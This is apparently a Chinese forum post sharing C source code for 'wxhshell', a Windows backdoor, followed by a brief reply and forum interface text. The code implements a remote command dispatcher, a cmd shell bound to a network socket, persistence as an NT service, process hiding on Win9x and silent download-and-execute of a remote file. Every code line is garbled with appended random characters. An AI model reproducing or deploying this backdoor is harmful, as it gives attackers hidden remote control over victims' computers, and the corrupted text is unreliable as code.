  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I4\ c+f9  
  if(DownloadFile(cmd,wsh)) E{W(5.kb;i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WpPI6bd  
  else sTChbks  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?SR+;Y:q  
  } F`U YgN  
  else { TSHH=`cx  
; 6*Ag#Z  
    switch(cmd[0]) { (X(c.Jj  
  cu#s}* Ip  
  // 帮助 5x1_rjP$|  
  case '?': { JTI 'W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tj;<EaM  
    break; 5_~QS  
  } n,.t~  
  // 安装 %5|DdpES  
  case 'i': { AagWswv{Bf  
    if(Install()) nps"nggk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QfomTT  
    else PP_fTacX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?2$0aq  
    break; ;1[Lwnm  
    } )o>1=Y`[z  
  // 卸载 c0M>CaKD  
  case 'r': { k<cv80lhK  
    if(Uninstall()) X"pp l7o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eh*t;J=O  
    else xFy%&SKHg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5*31nMP\  
    break; H G)c\b  
    } h<ULp &g  
  // 显示 wxhshell 所在路径 xPJ kadu  
  case 'p': { ~A =?_5kJ  
    char svExeFile[MAX_PATH];  }j /r  
    strcpy(svExeFile,"\n\r"); P2^((c  
      strcat(svExeFile,ExeFile); [H8QxJk  
        send(wsh,svExeFile,strlen(svExeFile),0); [J6 b5  
    break; Up|>)WFw"  
    } e:H9!  
  // 重启 *)H&n>"e  
  case 'b': { 0;pOQF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6 SosVE>Z  
    if(Boot(REBOOT)) |#D$9+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*hrU{b  
    else { /n|`a1!  
    closesocket(wsh); A"8"e*  
    ExitThread(0); U%,N"]`  
    } F&I ;E i  
    break; SWGD(]}uz  
    } kW=GFj)L  
  // 关机 /2\%X`]<  
  case 'd': { H!NyM}jsr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T)NnWEB  
    if(Boot(SHUTDOWN)) c#6g[TE@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G$"$k=[  
    else { T]fu[yRVvg  
    closesocket(wsh); $MT'ZM  
    ExitThread(0); pwvcH3l/r  
    } """gV)Y  
    break; 3+E AMn  
    } - ^sbf.  
  // 获取shell ZAG ia q  
  case 's': { a|x1aN 0  
    CmdShell(wsh); 9w=GB?/  
    closesocket(wsh); <+QXGz1  
    ExitThread(0); 07_ym\N  
    break; z|V5/"  
  } !)(c_ uz  
  // 退出 wf<=r W'  
  case 'x': { @KhDQ0v]5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R{5xb  
    CloseIt(wsh); m"<Sb,"x!  
    break; |nN{XjNfP5  
    } X&[S.$_U  
  // 离开 ?_L)|:WL  
  case 'q': { &_^t$To  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `;ofQz4  
    closesocket(wsh); DB'd9<  
    WSACleanup(); "Z&-:1tP{9  
    exit(1); <#s=78 g.3  
    break; W -Yv0n3  
        } :)UF#  
  } S0\;FmLIc  
  } 3TRzDE(J  
iwnctI  
  // 提示信息 G`B e~NU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^T[8j/9o^  
} pcd*K)  
  } ze<Lc/;X~  
i(^&ZmG  
  return; B&~#.<23:  
} v)*/E'Cr*  
qn VxP&  
// shell模块句柄 [*<F   
int CmdShell(SOCKET sock) |F }y6 gH  
{ Fb&Xy{kt1  
STARTUPINFO si; hjVct r  
ZeroMemory(&si,sizeof(si)); }Fd4; ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M]O _L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Kp!G1?_AY  
PROCESS_INFORMATION ProcessInfo; b ^wL{q  
char cmdline[]="cmd"; gOpi>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); poZ04Uxo>  
  return 0; d NQ?8P-&  
} sb Wn1 T U  
v=kQ / h  
// 自身启动模式 &b[ .bf  
int StartFromService(void) EZy:_xjZ  
{ :DI``]Si\  
typedef struct -nVQB146^  
{ {tUjUwhz(  
  DWORD ExitStatus; W(h].'N  
  DWORD PebBaseAddress; <L4.*  
  DWORD AffinityMask; {E6M_qZ  
  DWORD BasePriority; Y$3 &?LA  
  ULONG UniqueProcessId; DQC=f8  
  ULONG InheritedFromUniqueProcessId; E8_j?X1  
}   PROCESS_BASIC_INFORMATION; oy8L{8?  
dNH6%1(s]0  
PROCNTQSIP NtQueryInformationProcess; KIyhvY~  
ETt7?,x@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  !t.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9 7/"5i9  
qH#?, sK ^  
  HANDLE             hProcess; }I3 ZNd   
  PROCESS_BASIC_INFORMATION pbi; -~ w5 yd  
'R'P^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EL*OeyU1l  
  if(NULL == hInst ) return 0; %N jRD|  
mGss9eZa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]q#w97BxiJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MIV<"A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o!nw/7|  
:Ma=P\J W  
  if (!NtQueryInformationProcess) return 0; ZGILV  
9T`$gAI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DrAp&A|WV|  
  if(!hProcess) return 0; qDG{hvl[1r  
|6]2XW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d@sAB1:  
U*P&O+(1'  
  CloseHandle(hProcess); ;Jh=7wx  
ua!i3]18  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p"%K(NL  
if(hProcess==NULL) return 0; $N !l-lu=  
wSy|h*a,  
HMODULE hMod; @fI1|v=eF  
char procName[255]; }u3Q*oAGl  
unsigned long cbNeeded; !?AgAsSmc  
)Y@E5Tuk>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x9DG87P~+  
~J~@mE2ks  
  CloseHandle(hProcess); ~__r- z  
MNuBZnO  
if(strstr(procName,"services")) return 1; // 以服务启动 `;`fA|F^  
UFE# J  
  return 0; // 注册表启动 +#;t.&\80N  
} G+_Q7-o&d6  
g!QX#_~Il  
// 主模块 4!vovt{  
int StartWxhshell(LPSTR lpCmdLine) ;hf{B7  
{ /v<FH}  
  SOCKET wsl; 0Z.X;1=  
BOOL val=TRUE; )ajF ca@v  
  int port=0; &c AFKYt  
  struct sockaddr_in door; ' ?4 \  
/h]#}y j  
  if(wscfg.ws_autoins) Install(); KbXENz&C  
OMY^'g%w  
port=atoi(lpCmdLine); U } K]W>Z  
,J@A5/B,AA  
if(port<=0) port=wscfg.ws_port; tM:%{az  
Il4R R  
  WSADATA data; J<9;Ix8R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jan~R ran  
r|ID]}w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9K:ICXm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yq=rv$.s  
  door.sin_family = AF_INET; (nDen5Q|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'j$n;3  
  door.sin_port = htons(port); sI5S)^'IQ  
D zdKBJT+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ld[BiP`B2V  
closesocket(wsl); hiw>Q7W  
return 1; 7qL B9r  
} #]*]qdQWV^  
>^GAfvW  
  if(listen(wsl,2) == INVALID_SOCKET) { YM&i  
closesocket(wsl); t[p/65L>8  
return 1; Gx;-1  
} |e91KmiqJ  
  Wxhshell(wsl); |F49<7XB[~  
  WSACleanup(); l9naqb:iP  
'kHa_  
return 0; Huc|HL#C  
KtcuGI/A  
} OWZ;X}x  
w"q^8"j!  
// 以NT服务方式启动 "h:#'y$V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &F.L*M  
{ Kidbc Z  
DWORD   status = 0; q{XeRQ'/  
  DWORD   specificError = 0xfffffff; qT^0 %O:  
4U*CfdZZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vo%DoZg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $pajE^d4V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Om<+]).R  
  serviceStatus.dwWin32ExitCode     = 0; X nB-1{a1  
  serviceStatus.dwServiceSpecificExitCode = 0; I+rLKGZC  
  serviceStatus.dwCheckPoint       = 0; KeWIC,kq  
  serviceStatus.dwWaitHint       = 0; z}-8pDD'  
.$xTX'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l%# z  
  if (hServiceStatusHandle==0) return; /\U:F  
X<d`!,bn@  
status = GetLastError(); .[o`TlG%  
  if (status!=NO_ERROR) ?>q5Abp[  
{ 0}q*s!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cG!dMab(  
    serviceStatus.dwCheckPoint       = 0; R) J/z  
    serviceStatus.dwWaitHint       = 0; ;O {"\H6  
    serviceStatus.dwWin32ExitCode     = status; 9-E dT4=r,  
    serviceStatus.dwServiceSpecificExitCode = specificError; *z__$!LR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]JlM/  
    return; hs<OzM  
  } yK0iW  
cG5u$B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w\ddC DZ  
  serviceStatus.dwCheckPoint       = 0;  6Ok]E`  
  serviceStatus.dwWaitHint       = 0; x<=R?4@rq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B>%;"OMp  
} !fG}<6&i  
%VS+?4ww  
// 处理NT服务事件,比如:启动、停止 4E@_Fn_#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AL*M`m_  
{ Sw`+4 4  
switch(fdwControl) WT:ZT$W  
{ 98lz2d/Fcq  
case SERVICE_CONTROL_STOP: N ZZc[P  
  serviceStatus.dwWin32ExitCode = 0; F_~A8y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uEr['>  
  serviceStatus.dwCheckPoint   = 0; Uwg*kJ3H  
  serviceStatus.dwWaitHint     = 0; wpcqgc  
  { $tDM U3,W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y/y`c-VO  
  } yo :63CPP  
  return; "6>+IF  
case SERVICE_CONTROL_PAUSE: m=V69 a#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b ; U  
  break; H.&"~eH  
case SERVICE_CONTROL_CONTINUE: jQ dIeQD+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &p5^Cjy L  
  break; 8Od7e`  
case SERVICE_CONTROL_INTERROGATE: x2tcr+o  
  break; !nTI(--  
}; HEF\TH9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nT=XWM  
} BB.120v&N  
'k/:3?R  
// 标准应用程序主函数 YB3 76/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L@`:mK+;  
{ op61-:q/  
vPD%5 AJN  
// 获取操作系统版本 Wcki=ac\v!  
OsIsNt=GetOsVer(); uLrZl0%HT~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c=33O,_  
^tI4FQ>Y  
  // 从命令行安装 e)aH7Jj#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5W(`lgVs,  
]fJ9.Js  
  // 下载执行文件 >f(M5v(D\  
if(wscfg.ws_downexe) { 'SKq<X%R;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {0 L)B{|  
  WinExec(wscfg.ws_filenam,SW_HIDE); `: 9n ]xP  
} 90gKGyxF  
w exa\o  
if(!OsIsNt) { Vw5Pgtx  
// 如果时win9x,隐藏进程并且设置为注册表启动 \!wo<UX%  
HideProc(); QG5)mIJ  
StartWxhshell(lpCmdLine); 3]67U}`  
} ORFi0gFbA  
else :.SwO<j  
  if(StartFromService()) 6o~g3{Ow  
  // 以服务方式启动 lQG;WVqW  
  StartServiceCtrlDispatcher(DispatchTable); D{^CJ :n  
else 56H~MnX  
  // 普通方式启动 sq+cF/jo6  
  StartWxhshell(lpCmdLine); )npvy>C'(  
9XX:_9|I  
return 0; IY}{1[<N  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五